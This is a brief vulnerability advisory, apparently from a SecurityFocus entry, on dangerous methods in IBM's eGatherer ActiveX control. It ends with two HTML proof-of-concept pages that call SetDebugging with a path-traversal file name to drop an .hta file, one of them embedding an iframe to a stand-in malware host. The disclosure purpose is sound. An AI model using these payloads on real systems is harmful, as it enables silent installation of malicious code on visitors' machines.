IBM EGatherer 2.0 - ActiveX Control Dangerous Method

source: https://www.securityfocus.com/bid/10562/info

It is reported that the IBM eGatherer ActiveX control contains dangerous methods that may result in a remote compromise of a system on which the ActiveX control is installed. These methods may be accessed by a malicious website and may result in the silent installation of a malicious executable.

A remote attacker may exploit this vulnerability in order to silently install a malicious executable on an affected system.

-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
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-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


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